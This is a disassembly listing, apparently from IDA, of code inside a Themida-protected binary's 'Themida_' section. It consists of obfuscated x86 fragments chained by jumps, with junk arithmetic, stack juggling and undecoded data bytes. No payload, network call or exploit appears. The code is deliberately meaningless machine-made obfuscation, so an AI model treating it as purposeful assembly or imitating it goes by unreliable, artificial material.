		jg	loc_56AD4E
		sub	edx, 30BC7975h
		jmp	loc_56BD36
; ---------------------------------------------------------------------------
		dw 0D029h
		db 5Ah,	54h
; ---------------------------------------------------------------------------

loc_5607CA:				; CODE XREF: Themida_:00559A47j
		pop	esp
		push	eax
		push	880h
		mov	[esp], ebx
		push	784B25A4h
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 0D6FDFE22h
		mov	eax, ebx
		pop	ebx
		add	[esp+4], eax
		jmp	loc_563924
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 487D0F7h, 24148B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55A97B
; ---------------------------------------------------------------------------

loc_560814:				; CODE XREF: Themida_:00567706j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_560819:				; CODE XREF: Themida_:0055FE86j
		push	ebp
		mov	ebp, 4567382Ah
		jmp	loc_569276
; ---------------------------------------------------------------------------

loc_560824:				; CODE XREF: Themida_:00557E87j
		mov	ebx, 1F915EDh
		jmp	loc_5692FE
; ---------------------------------------------------------------------------

loc_56082E:				; CODE XREF: Themida_:005659EDj
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_56525B
; ---------------------------------------------------------------------------

loc_560843:				; CODE XREF: Themida_:0056BC63j
		pop	edi
		xor	ecx, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55E4A7
; ---------------------------------------------------------------------------
		dd 298568h, 24048900h, 947D11B8h, 83F3E96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560866:				; CODE XREF: Themida_:0055E0C1j
		push	4A244F46h
		pop	edi
		inc	edi
		jns	loc_569F41
		jmp	loc_56D20B
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0CDB25866h
		db 5Fh
; ---------------------------------------------------------------------------

loc_560881:				; CODE XREF: Themida_:0056B19Ej
		pop	edx
		or	dl, ah
		pop	eax
		push	ecx
		mov	ch, 7Dh
		push	ebx
		jmp	loc_55DF6E
; ---------------------------------------------------------------------------

loc_56088E:				; CODE XREF: Themida_:00559ADEj
		pop	ecx
		xor	ecx, 74EB73D9h
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_562A80
; ---------------------------------------------------------------------------

loc_5608A0:				; CODE XREF: Themida_:00556A53j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dd 23BA5241h, 0C105ED0Ah, 0EA8107EAh, 38DA2321h, 438FC281h
		dd 0EA8158F7h, 0C749E14h, 0AEE9D109h, 97FFFF64h, 0BFE9DFF7h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5608E3:				; CODE XREF: Themida_:0055903Cj
		not	dl
		sub	dl, 0EBh
		jmp	loc_56B19C
; ---------------------------------------------------------------------------

loc_5608ED:				; CODE XREF: Themida_:0056886Cj
		sub	bl, 0D2h
		add	bl, 72h
		add	bl, dl
		sub	bl, 72h
		add	bl, 0D2h
		jmp	loc_559322
; ---------------------------------------------------------------------------

loc_560900:				; CODE XREF: Themida_:0056D6B2j
		push	edx
		push	eax
		mov	eax, 2EB13E25h
		mov	edx, eax
		pop	eax
		sub	edx, 1
		not	edx
		dec	edx
		jmp	loc_556C06
; ---------------------------------------------------------------------------

loc_560915:				; CODE XREF: Themida_:0055AE4Fj
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		shl	dl, 4
		or	dl, 66h
		xor	dl, 0D8h
		jmp	loc_561FC0
; ---------------------------------------------------------------------------
aH0S		db 'h;0)~ИщЁ',0         ; DATA XREF: Themida_:005560F8o
		db 0
; ---------------------------------------------------------------------------

loc_560935:				; CODE XREF: Themida_:loc_55805Fj
		sub	edi, 77A0704Dh
		jmp	loc_569347
; ---------------------------------------------------------------------------
		dd 14EB814Bh, 18DBCFAh,	5E95BDEh, 81FFFFEBh, 360217EFh
		dd 69830F32h, 810000C4h, 0CB867FF7h, 8BFD8922h,	8CB2243Ch
		db 0B6h, 19h
word_56096A	dw 8B66h		; DATA XREF: Themida_:0055605Co
		dd 89532404h, 1DB268E3h, 0C890000h, 4B924h, 0E4E90000h
		dd 0F70000B3h, 8BA52D1h, 552A4D26h, 1BDh, 5DEA2900h, 77AECA81h
		dd 0E2C171D5h, 0C2834207h, 9AC28101h, 0E9D74108h, 0FFFFA742h
		dd 612E8E0Fh, 0E681FFFFh, 50BF6E43h, 698BE9h, 9D880F00h
		dd 8100008Fh, 0D1A91EE9h, 59C8893Fh, 172DB951h,	0C8311929h
		dd 1BBE5659h, 2178487Bh, 0D0F75EF0h, 7E8AE997h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5609E6:				; CODE XREF: Themida_:00569159j
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_56661B
; ---------------------------------------------------------------------------
		db 0Dh,	0C4h, 74h
		dd 40E92806h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5609FB:				; CODE XREF: Themida_:00569E0Bj
		add	ecx, edi
		pop	edi
		jmp	loc_562D3D
; ---------------------------------------------------------------------------
		db 5
		dd 0BD9FEF4Bh, 8158C729h, 4ECh,	24148900h, 0BAh, 3CD3E900h
		dd 0C3810000h, 0B7E4467h, 3F8CEB81h
		db 74h,	0A4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55FCE1
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C55AE924h, 9C68FFFFh, 0E9000041h, 0AF30h, 786D1B35h
		dd 6FED2D56h, 96E9150Ch
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560A53:				; CODE XREF: Themida_:00560285j
		push	esi
		mov	esi, 6245206Eh
		sub	esi, 605AFDDCh
		and	ebx, esi
		pop	esi
		push	ecx
		push	eax
		mov	eax, 1340509h
		mov	ecx, eax
		pop	eax
		or	ecx, 34DC27B4h
		xor	ecx, 19496A9Dh
		sub	ebx, ecx
		pop	ecx
		add	ebx, 77F10DEEh
		sub	ebx, 45CB68E8h
		jmp	loc_5616F2
; ---------------------------------------------------------------------------

loc_560A8C:				; CODE XREF: Themida_:005644C9j
		push	ecx
		mov	ch, 0F9h
		not	ch
		inc	ch
		dec	ch
		push	ebx
		mov	bl, 16h
		jmp	loc_55B81E
; ---------------------------------------------------------------------------

loc_560A9D:				; CODE XREF: Themida_:0056C97Aj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56C41D
; ---------------------------------------------------------------------------

loc_560ACE:				; CODE XREF: Themida_:00563C63j
		sub	ebp, 23F42210h
		mov	edx, ebp
		pop	ebp
		jmp	loc_55E049
; ---------------------------------------------------------------------------

loc_560ADC:				; CODE XREF: Themida_:0055C6B7j
		mov	edi, 24795B1Ch
		add	edi, 7A7F56C3h
		jmp	loc_56B4EB
; ---------------------------------------------------------------------------

loc_560AEC:				; CODE XREF: Themida_:0056CEE3j
		push	1BEAh
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		jmp	loc_5585B0
; ---------------------------------------------------------------------------

loc_560AFD:				; CODE XREF: Themida_:00565D9Cj
		dec	edx
		jg	loc_561867
		jmp	loc_561DD7
; ---------------------------------------------------------------------------
		db 1, 0C2h, 0E9h
		dd 3DA5h, 0AEE7E9h
		db 0
byte_560B15	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005560D4o
		dd 9FFEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560B1E:				; CODE XREF: Themida_:0055B259j
		jmp	loc_56146A
; ---------------------------------------------------------------------------

loc_560B23:				; CODE XREF: Themida_:0056192Cj
		sub	ecx, ebx
		pop	ebx
		inc	ecx
		sub	ecx, 0F003A5FBh
		jmp	loc_55B51A
; ---------------------------------------------------------------------------

loc_560B32:				; CODE XREF: Themida_:0055EF0Fj
		not	cl
		jmp	loc_563B10
; ---------------------------------------------------------------------------

loc_560B39:				; CODE XREF: Themida_:0056D188j
		sub	dword ptr [esp], 0DCF5A0Fh
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edi, 0DCF5A0Fh
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5624E8
; ---------------------------------------------------------------------------

loc_560B7C:				; CODE XREF: Themida_:0056A9C0j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		jmp	loc_5694F4
; ---------------------------------------------------------------------------
byte_560B91	db 66h,	8Bh, 4		; DATA XREF: Themida_:00556250o
		dd 231E6824h, 0C890000h, 4EC8324h, 81242489h, 42404h, 34FF0000h
		dd 54525924h, 4B9515Ah,	1000000h, 0BD5559CAh, 4, 8FE9EA01h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560BC7:				; CODE XREF: Themida_:005643C7j
		mov	dh, 4Eh
		add	al, dh
		push	dword ptr [esp]
		pop	edx
		push	57E8h
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 32CE3641h
		sub	eax, 32CE363Dh
		add	ebx, eax
		pop	eax
		push	6105h
		mov	[esp], ebp
		push	esi
		jmp	loc_56A4DF
; ---------------------------------------------------------------------------
aNhwq		db '╜hwQ',0             ; DATA XREF: Themida_:0055610Co
		dw 8900h
		dd 0E5BA2414h, 0E94E5254h, 0A04h
; ---------------------------------------------------------------------------

loc_560C08:				; CODE XREF: Themida_:005659A2j
		push	edi
		mov	di, 2354h
		jmp	loc_5619B7
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 3F19B924h, 0D1F7148Ah, 0FF7D5AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560C21:				; CODE XREF: Themida_:0056D56Dj
		add	edx, edi
		sub	edx, 5C9E5CC4h
		jmp	loc_55CA0B
; ---------------------------------------------------------------------------

loc_560C2E:				; CODE XREF: Themida_:0055E5BAj
		add	ebp, 45B05FA3h
		not	ebp
		sub	ebp, 5625701Ah
		jl	loc_56851D
		xor	ebp, 49434DB3h
		jmp	loc_563469
; ---------------------------------------------------------------------------
		db 5Dh
; ---------------------------------------------------------------------------

loc_560C4E:				; CODE XREF: Themida_:00563554j
		add	esp, 4
		mov	ebp, edi
		pop	edi
		add	ebp, 9F759BC4h
		and	eax, ebp
		jmp	loc_56CFA4
; ---------------------------------------------------------------------------

loc_560C64:				; CODE XREF: Themida_:005586F3j
		xor	esi, 49706D6Bh
		push	eax
		mov	eax, 0FB86625h
		jmp	loc_559C40
; ---------------------------------------------------------------------------

loc_560C75:				; CODE XREF: Themida_:00563E7Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	ebp
		add	ecx, 198F3D85h
		add	ecx, eax
		sub	ecx, 198F3D85h
		mov	[ecx], dl
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_560CB9:				; CODE XREF: Themida_:loc_557A5Cj
					; Themida_:0055FBEEj
		pop	ebp
		dec	ebp
		jmp	loc_561992
; ---------------------------------------------------------------------------

loc_560CC0:				; CODE XREF: Themida_:0055CB88j
		mov	[esp], edx
		jmp	loc_56832E
; ---------------------------------------------------------------------------
		dd 0B30F665Ch, 0E99C2404h, 0AEDAh, 0F768F305h, 2DC82954h
		dd 54F768F3h, 1D50E9h
		db 0
; ---------------------------------------------------------------------------

loc_560CE5:				; CODE XREF: Themida_:00556787j
		mov	ecx, [esp]
		jmp	loc_556EA8
; ---------------------------------------------------------------------------

loc_560CED:				; CODE XREF: Themida_:0055C579j
		sub	esp, 4
		jmp	loc_568841
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 0E9243C33h, 0FFFFF26Ch, 1BB53h, 0D9890000h, 0FFC6E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D0E:				; CODE XREF: Themida_:0055A624j
		xor	eax, 3A20E6Dh
		shr	eax, 2
		sub	eax, 6C5E10B5h
		xor	eax, 654063C7h
		add	eax, 727DDE22h
		and	ecx, eax
		pop	eax
		add	ecx, 0DFB6FF80h
		add	esi, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 6F806027h
		xor	edx, 91F4C59h
		dec	edx
		add	edx, 1
		add	edx, 9960D386h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_563659
; ---------------------------------------------------------------------------
		db 53h,	68h, 4
		dd 0E9000000h, 2FD9h
; ---------------------------------------------------------------------------

loc_560D68:				; CODE XREF: Themida_:0055C4B4j
		neg	ecx
		jmp	loc_569E10
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 76E4E904h, 0BF570000h, 4, 2D96C381h, 1E96C67h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D8B:				; CODE XREF: Themida_:0055A427j
		sub	ebx, eax
		sub	ebx, 78055DD6h
		pop	eax
		xor	edx, eax
		jmp	loc_55A000
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C8704EFh, 5CEDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560DAE:				; CODE XREF: Themida_:00558706j
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		jmp	loc_566DA6
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8104C483h, 0A4042444h, 17E3F49h, 81042474h, 0A404246Ch
		dd 0FF7E3F49h, 815E2434h, 4C4h,	8F0FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560DEA:				; CODE XREF: Themida_:00566B62j
		xor	ebp, esi
		pop	esi
		mov	edx, ebp
		jmp	loc_5568AF
; ---------------------------------------------------------------------------

loc_560DF4:				; CODE XREF: Themida_:0056B197j
		jmp	loc_56187F
; ---------------------------------------------------------------------------

loc_560DF9:				; CODE XREF: Themida_:00566F29j
		push	ecx
		mov	ecx, 52B72B0Eh
		inc	ecx
		add	ecx, 54580823h
		shr	ecx, 8
		jmp	loc_563B20
; ---------------------------------------------------------------------------

loc_560E0E:				; CODE XREF: Themida_:loc_56C902j
		jmp	loc_55F427
; ---------------------------------------------------------------------------
		db 89h
		dd 65682434h, 0FF1BA235h, 0E95E2434h, 0FFFF660Bh, 0DD6B850h
		dd 0EFBF7813h, 1AE8964h, 0B95158C7h, 1BAB3741h,	0E904E1C1h
		dd 0BB97h
; ---------------------------------------------------------------------------

loc_560E40:				; CODE XREF: Themida_:0055988Dj
		sub	ebx, 71DB02FEh
		jmp	loc_556AF1
; ---------------------------------------------------------------------------

loc_560E4B:				; CODE XREF: Themida_:00563578j
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, 15E314F2h
		sub	edx, 514B07D8h
		jmp	loc_55E723
; ---------------------------------------------------------------------------

loc_560E64:				; CODE XREF: Themida_:0056CDA5j
		mov	edx, [esp]
		jmp	loc_562682
; ---------------------------------------------------------------------------
aISfm		db '┴щ[Иf╛',0
		align 4

loc_560E74:				; CODE XREF: Themida_:005698DBj
		pop	ecx
		push	714Ah
		jmp	loc_5655A5
; ---------------------------------------------------------------------------
		db 0B8h
		dd 6A5B78F3h, 8158C721h, 5475ACFh, 4E7C17Ah, 595C850Fh
		dd 0F470000h, 0FFEBEB8Eh, 0B288E9FFh, 0EBC1FFFFh, 608A0F08h
		dd 81000056h, 1D4A22C3h, 8A0F53FFh, 0FFFFCF90h
; ---------------------------------------------------------------------------

loc_560EB8:				; CODE XREF: Themida_:00567E5Cj
					; Themida_:0056BD54j
		mov	esp, [esp]
		idiv	cl
		jmp	loc_567F3A
; ---------------------------------------------------------------------------

loc_560EC2:				; CODE XREF: Themida_:0055BF66j
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56A7CD
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFA5B8h
; ---------------------------------------------------------------------------

loc_560EDC:				; CODE XREF: Themida_:0055D2ADj
		push	ebp
		jmp	loc_56CCBD
; ---------------------------------------------------------------------------

loc_560EE2:				; CODE XREF: Themida_:0055CC7Fj
		add	edi, 0A61ED444h
		add	edx, 16FC542Eh
		sub	edx, 37FF77E2h
		jmp	loc_567443
; ---------------------------------------------------------------------------

loc_560EF9:				; CODE XREF: Themida_:0055CB66j
		jmp	loc_564C07
; ---------------------------------------------------------------------------
		dw 8852h
		dd 0E9F388E6h, 3498h, 9B790DBEh, 2FF6815Dh, 8130A476h
		dd 0F83D80EEh, 4D9A686Bh, 4890000h, 443DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560F26:				; CODE XREF: Themida_:00561E1Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	46C4h
		mov	[esp], ebx
		jmp	loc_564C60
; ---------------------------------------------------------------------------

loc_560F45:				; CODE XREF: Themida_:00564F78j
		xchg	eax, [esp]
		pop	esp
		shr	ebp, 2
		jmp	loc_564B1E
; ---------------------------------------------------------------------------

loc_560F51:				; CODE XREF: Themida_:00566391j
		push	edx
		jmp	loc_56CFC6
; ---------------------------------------------------------------------------
byte_560F57	db 68h			; DATA XREF: Themida_:00556160o
		dd 6BA9h, 0FF240489h, 0E9042474h, 0B0FAh
; ---------------------------------------------------------------------------

loc_560F68:				; CODE XREF: Themida_:00569E86j
		pop	esp
		push	ecx
		mov	ecx, 19C40499h
		sub	edx, ecx
		pop	ecx
		add	edx, 6CE46246h
		jmp	loc_56D30E
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 5604C483h, 52C66853h, 43E90000h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560F8F:				; CODE XREF: Themida_:0055B6BFj
		push	75BBh
		mov	[esp], edx
		push	eax
		mov	eax, esp
		jmp	loc_563910
; ---------------------------------------------------------------------------
		db 87h
		dd 565C2404h, 0BDE9E689h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_560FAB:				; CODE XREF: Themida_:0056036Ej
		mov	[esp], edx
		mov	edi, [esp]
		add	esp, 4
		push	54EEh
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_568BC7
; ---------------------------------------------------------------------------

loc_560FCE:				; CODE XREF: Themida_:0056B186j
		jmp	loc_56D2C7
; ---------------------------------------------------------------------------

loc_560FD3:				; CODE XREF: Themida_:0055C8C2j
		add	esp, 4
		xor	al, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_556442
; ---------------------------------------------------------------------------
		dw 1489h
		dd 3F42BA24h, 0E28142AFh, 2BF25D26h, 0A2ACEA81h, 0D621AC68h
		dd 0FF6C92E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56100D:				; CODE XREF: Themida_:00566A65j
		mov	bl, cl
		jmp	loc_5570F1
; ---------------------------------------------------------------------------
		dd 4BFh, 247C0100h, 1C8B5F04h, 42EAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561026:				; CODE XREF: Themida_:0055AF6Bj
		add	edx, edi
		sub	edx, 5E57344Fh
		add	[edx], ebx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		jmp	loc_55E9D9
; ---------------------------------------------------------------------------

loc_56104A:				; CODE XREF: Themida_:005563FDj
		sub	ebx, 4
		jmp	loc_5580FE
; ---------------------------------------------------------------------------

loc_561052:				; CODE XREF: Themida_:0055CF82j
		push	4CF76785h
		jmp	loc_561428
; ---------------------------------------------------------------------------

loc_56105C:				; CODE XREF: Themida_:00566105j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563C60
; ---------------------------------------------------------------------------

loc_561067:				; CODE XREF: Themida_:00565A5Aj
					; Themida_:00565F05j
		add	edx, 4
		push	ebp
		mov	ebp, 126D3641h
		shl	ebp, 8
		xor	ebp, 182A5FCBh
		neg	ebp
		not	ebp
		neg	ebp
		xor	ebp, 8AE3E132h
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 2
		push	5D4Bh
		mov	[esp], ebp
		mov	ebp, 6E840098h
		sub	eax, ebp
		jmp	loc_56CE72
; ---------------------------------------------------------------------------

loc_5610AD:				; CODE XREF: Themida_:0056133Bj
		add	esp, 4
		push	398Fh
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_557D85
; ---------------------------------------------------------------------------

loc_5610C2:				; CODE XREF: Themida_:00562896j
					; Themida_:00562C68j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 72D57982h
		neg	eax
		jmp	loc_56184F
; ---------------------------------------------------------------------------

loc_5610D5:				; CODE XREF: Themida_:00564911j
		mov	ecx, 956D856Ch
		sub	ecx, edx
		pop	edx
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5628AF
; ---------------------------------------------------------------------------

loc_5610EB:				; CODE XREF: Themida_:0056C015j
		mov	[esp], edx
		jmp	loc_55D5BF
; ---------------------------------------------------------------------------

loc_5610F3:				; CODE XREF: Themida_:00568540j
		sub	bh, 94h
		inc	bh
		inc	bh
		xor	bh, 3Ah
		and	dh, bh
		pop	ebx
		neg	dh
		jmp	loc_5594E5
; ---------------------------------------------------------------------------

loc_561107:				; CODE XREF: Themida_:005668F5j
		mov	ecx, [esp]
		jmp	loc_568476
; ---------------------------------------------------------------------------

loc_56110F:				; CODE XREF: Themida_:0056C73Dj
		sub	bl, 0D5h
		sub	bl, 82h
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_558B2D
; ---------------------------------------------------------------------------

loc_561124:				; CODE XREF: Themida_:0055F58Dj
		xor	ebx, [esp]
		jmp	loc_5676FF
; ---------------------------------------------------------------------------

loc_56112C:				; CODE XREF: Themida_:0055EB1Bj
		mov	esi, esp
		jmp	loc_568C83
; ---------------------------------------------------------------------------

loc_561133:				; CODE XREF: Themida_:00563A07j
		sub	ebp, edi
		jmp	loc_55F41E
; ---------------------------------------------------------------------------

loc_56113A:				; CODE XREF: Themida_:005634BAj
					; Themida_:00568E2Aj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5563FA
; ---------------------------------------------------------------------------

loc_561145:				; CODE XREF: Themida_:005585ECj
		pop	ebp
		neg	ebp
		xor	ebp, 9E7EE7DBh
		sub	edi, ebp
		pop	ebp
		add	edi, esi
		add	edi, 460A12B7h
		pop	esi
		xchg	edi, [esp]
		pop	esp
		xchg	ebp, edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	6D9h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		push	23774F0Ah
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		jmp	loc_56C2DF
; ---------------------------------------------------------------------------
		dd 0BDh, 89D52900h, 0C2815DEAh,	60425810h, 627EC381h, 0D301762Bh
		dd 0FF9C67E9h, 241489FFh, 346768h, 240C8900h, 916F0A68h
		dd 0C981597Eh, 32583D57h, 8272C181h, 0CA89E1C2h, 6859h
		dd 14290000h, 6CF8E924h, 4B90000h, 29000000h, 1C8759CBh
		dd 24248B24h, 24048F54h, 4240483h, 14B5E9h
		db 0
; ---------------------------------------------------------------------------

loc_5611F5:				; CODE XREF: Themida_:00569BC5j
		pop	eax
		jmp	loc_56637D
; ---------------------------------------------------------------------------

loc_5611FB:				; CODE XREF: Themida_:0055BEE4j
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56370B
; ---------------------------------------------------------------------------

loc_56120D:				; CODE XREF: Themida_:0055C6F2j
		shr	ebp, 1
		jmp	loc_55684D
; ---------------------------------------------------------------------------

loc_561214:				; CODE XREF: Themida_:005567ACj
		push	11F0h
		mov	[esp], edi
		push	edx
		mov	edx, 11ED2AF5h
		push	edx
		sub	dword ptr [esp], 488A362Ch
		pop	edi
		add	edi, 488A362Ch
		jmp	loc_56C3E4
; ---------------------------------------------------------------------------
		dw 0EE86h
		dd 0EE86D5F6h, 0CFFEF786h, 0C07EB652h, 0DEF607E6h, 8095C680h
		dd 0EC815EF6h, 4, 0E9240489h, 54B7h
; ---------------------------------------------------------------------------

loc_56125C:				; CODE XREF: Themida_:0056B9F7j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_569E83
; ---------------------------------------------------------------------------

loc_56126A:				; CODE XREF: Themida_:00562C04j
		and	esi, 4B466EC0h
		or	esi, 100240CFh
		push	eax
		jmp	loc_569229
; ---------------------------------------------------------------------------
		dd 0FF5066E9h, 155EB9FFh, 0E9BD0EB8h, 317DA051h, 89FBE9CDh
		dd 895CFFFFh, 8156240Ch, 4ECh, 242C8900h, 0FFDD69E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5612A5:				; CODE XREF: Themida_:00564FF0j
					; Themida_:0056B39Aj
		sub	edx, 63DF77C1h
		sub	edx, esi
		push	eax
		push	ebp
		mov	ebp, 63DF77C1h
		mov	eax, ebp
		jmp	loc_5596BD
; ---------------------------------------------------------------------------

loc_5612BB:				; CODE XREF: Themida_:loc_56921Ej
		jmp	loc_566273
; ---------------------------------------------------------------------------

loc_5612C0:				; CODE XREF: Themida_:0056A604j
		mov	ch, bl
		mov	[edi+eax*4], ch
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5612D2:				; CODE XREF: Themida_:0055DF8Dj
		mov	ch, bl
		pop	ebx
		sub	dl, 5Dh
		sub	dl, ch
		add	dl, 5Dh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	al, dl
		jmp	loc_55AD6F
; ---------------------------------------------------------------------------

loc_5612EE:				; CODE XREF: Themida_:005641B8j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56BEAC
; ---------------------------------------------------------------------------

loc_5612FE:				; CODE XREF: Themida_:00562110j
		pop	ebp
		mov	ebx, [esp]
		jmp	loc_55F554
; ---------------------------------------------------------------------------

loc_561307:				; CODE XREF: Themida_:0055E0D9j
		add	esp, 4
		push	12CFh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_564268
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0C28814B0h, 7EAC058h, 0C280DAF6h, 6969E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56132E:				; CODE XREF: Themida_:0055E692j
		pop	eax
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_5610AD
; ---------------------------------------------------------------------------
		dd 5FF8015Bh, 227BE9h
		db 0
; ---------------------------------------------------------------------------

loc_561349:				; CODE XREF: Themida_:0055C95Bj
		xor	edi, 5AD963EFh
		mov	edx, edi
		pop	edi
		xor	edx, ecx
		jmp	loc_56CAF7
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 53h
		dd 5327FB65h, 0FB6557BBh, 5BD83127h, 61E9C501h,	81FFFFA6h
		dd 0D72762EEh, 0C055E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56137A:				; CODE XREF: Themida_:005689F2j
		mov	[edi+20h], esi
		jmp	loc_55BE0E
; ---------------------------------------------------------------------------

loc_561382:				; CODE XREF: Themida_:0055DA94j
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 12BA15B2h
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_55A4FF
; ---------------------------------------------------------------------------

loc_561398:				; CODE XREF: Themida_:00566CACj
		push	edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	edi
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 6B578A0Fh, 0E781FFFFh, 57E00DDCh, 0E6FF8F0Fh, 3347FFFFh
		dd 1EE9243Ch
		db 0F9h, 2 dup(0FFh)
byte_5613D7	db 66h			; DATA XREF: Themida_:005560C0o
		dd 83240C8Bh, 1C8904ECh, 575B5424h, 4BFh, 7CBD5500h, 0E95E5502h
		dd 0FFFFF014h, 8124048Bh, 4C4h,	0E2895200h, 67A3BB53h
		dd 0CB814D6Eh, 4EFD75A1h, 1D1CC381h, 0C3811B61h, 949F6B45h
		dd 685BDA01h, 5A44h, 0E9243C89h, 66ECh
; ---------------------------------------------------------------------------

